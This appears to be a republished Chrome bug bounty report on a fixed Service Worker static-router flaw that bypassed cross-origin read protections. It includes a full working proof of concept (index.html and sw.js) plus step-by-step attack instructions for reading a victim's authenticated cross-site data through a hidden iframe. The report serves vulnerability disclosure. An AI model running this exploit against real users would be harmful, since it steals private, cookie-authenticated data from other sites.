Missing authorization in ServiceWorker (CVE-2026-113172)
A Service Worker static router response validation was skipped for main resource navigations because the container host was not yet initialised, so the loader failed open. An attacker could cache an opaque cross-origin response and load it in an iframe to read authenticated cross-site data from the DOM.
- Fix shipped in 5 months
Report description
CORS bypass to access Opaque Responses
Bug location
Where do you want to report your vulnerability?
Chrome VRP – Report security issues affecting the Chrome browser. See program rules
Which URL (or repository) have you found the vulnerability in?
The problem
Please describe the technical details of the vulnerability
This maybe a patch bypass if this commit aimed to neutralize this exact vuln class.
The vulnerability exists in content/browser/service_worker/service_worker_main_resource_loader.cc within the DidDispatchFetchEvent function. When the loader processes a response from the Static Router cache, it attempts to validate it against CORP and Opaque response rules:
// Block invalid responses from the static router.
if (service_worker_client_ && service_worker_client_->container_host()) {
ServiceWorkerContainerHostForClient* container_host =
service_worker_client_->container_host();
if (!IsValidStaticRouterResponse(...) &&
base::FeatureList::IsEnabled(features::kServiceWorkerStaticRouterOpaqueCheck)) {
CommitCompleted(net::ERR_FAILED, "Invalid response from static router");
return;
}
}
The entire security validation is wrapped inside the if (service_worker_client_ && service_worker_client_->container_host()) block.
While a subresource request (like a normal fetch()) will have a fully initialized container_host and successfully trigger the block, a main resource navigation (such as assigning iframe.src = '/bypass') hits this code path before the new document context's container_host is fully initialized or linked (atleast thats what I believe so, I just tested with a subframe and it worked, so this I am just deducing from results on this part.)
Because container_host() returns null, the if block is skipped. The loader fails open, completely ignoring IsValidStaticRouterResponse and the feature flags. Execution falls through to StartResponse(), committing the opaque, cross-origin bytes as a readable same-origin HTML document.
Basic Self Host PoC - index.html -
<html>
<body>
<h2>Service Worker Static Router Bypass (Iframe Vector)</h2>
<p id="status">Registering Service Worker...</p>
<div id="result" style="padding: 10px; background: #222; color: #0f0; font-family: monospace; display: none; margin-top: 10px;"></div>
<script>
(async function() {
try {
const reg = await navigator.serviceWorker.register('/sw.js');
if (reg.installing || reg.waiting) {
const sw = reg.installing || reg.waiting;
await new Promise(resolve => {
sw.addEventListener('statechange', e => {
if (e.target.state === 'activated') resolve();
});
});
}
if (!navigator.serviceWorker.controller) {
console.log('Waiting for SW to take control...');
await new Promise(resolve => {
navigator.serviceWorker.addEventListener('controllerchange', resolve);
});
}
document.getElementById('status').innerText = 'SW Controlling! Injecting iframe to /bypass...';
const iframe = document.createElement('iframe');
iframe.src = '/bypass';
iframe.style.display = 'none';
iframe.onload = () => {
try {
const leakedText = iframe.contentDocument.body.innerText;
const resultDiv = document.getElementById('result');
resultDiv.style.display = 'block';
if (leakedText) {
document.getElementById('status').innerText = 'Success: Cross-Origin Data Leaked via Iframe!';
resultDiv.innerText = leakedText;
resultDiv.style.color = '#f00';
} else {
document.getElementById('status').innerText = 'FAILED: Data was not leaked.';
resultDiv.innerText = leakedText;
}
} catch (e) {
document.getElementById('status').innerText = 'SAFE: Browser blocked iframe content access.';
console.error(e);
}
};
document.body.appendChild(iframe);
} catch (err) {
document.getElementById('status').innerText = 'Error executing PoC.';
console.error(err);
}
})();
</script>
</body>
</html>
sw.js -
self.addEventListener('install', (event) => {
event.waitUntil((async () => {
const cache = await caches.open('v1');
console.log('[SW] Fetching cross-origin secret opaquely...');
// Replace this target to any cross origin page. just make sure its not blocked under ORB in no-cors)
const opaqueRes = await fetch('https://webhook.site/8893c8fc-9aad-4871-b690-c338c038204d', { mode: 'no-cors', credentials:"include" });
console.log('[SW] Caching opaque response under /bypass');
await cache.put(new Request('/bypass'), opaqueRes);
if (event.addRoutes) {
console.log('[SW] Registering static route for /bypass');
await event.addRoutes([{
condition: { urlPattern: new URLPattern({ pathname: '/bypass' }) },
source: 'cache'
}]);
} else {
console.error('[SW] Static Routing API is not supported in this browser version.');
}
})());
});
self.addEventListener('activate', event => {
console.log('[SW] Activating and claiming clients...');
event.waitUntil(clients.claim());
});
Also attached a PoC python HTTP server, just run it, and visit the attacking server. I have also attached a PoC video.
Impact analysis
This allows a complete bypass of CORS Read Protection and Cross-Origin Resource Policy (CORP).
An attacker can install a Service Worker that fetches a sensitive cross-origin endpoint using { mode: 'no-cors', credentials: 'include' } and caches the resulting opaque response. By setting a static route to this cached entry and loading it via an iframe, the attacker can read the victim's authenticated (will send SameSite None and shared site enabled cookies) cross-site data directly from the DOM.
While Chromium's Opaque Response Blocking (ORB) prevents the leak of strict application/json or text/html, this exploit successfully leaks authenticated data returned as text/plain, text/csv, media files, and other content types.
The cause
What version of Chrome have you found the security issue in?
Works on both 150.0.7849.0 Canary and 148.0.7778.169 Stable
Is the security issue related to a crash?
No, it is not related to a crash.
Choose the type of vulnerability
Sensitive data exposure
How would you like to be publicly acknowledged for your report?
Bhavya
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the static router response validation was guarded by a container_host() null check that is not yet populated during main resource navigation, so the check is skipped and the loader fails open.
Impact
An attacker could read a victim's authenticated cross-site data returned as text/plain, text/csv or media, though Opaque Response Blocking still prevents leaking strict application/json or text/html.
What the attacker needed
Victim visits attacker page; browser supports Service Worker static routing; target returns non-JSON/HTML content type; cookies usable cross-site (SameSite None)
How it was found
- Register a service worker from the attacker page and wait until it controls the page.
- In the service worker install handler, fetch a cross-origin URL in no-cors mode with credentials and cache the opaque response under a local path.
- Register a static route pointing that local path at the cache source.
- Create a hidden iframe whose src is the routed path and wait for it to load.
- Read the iframe's document body text to obtain the cross-origin data.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A Service Worker is a script a website installs in your browser that can intercept network requests. Normally the browser stops a page from reading data from another site, but here a check was skipped for iframe navigations, so the attacker's page could read the other site's response as if it were its own.
What is CORS?
A permissive cross-origin policy lets another site read responses with the user's credentials.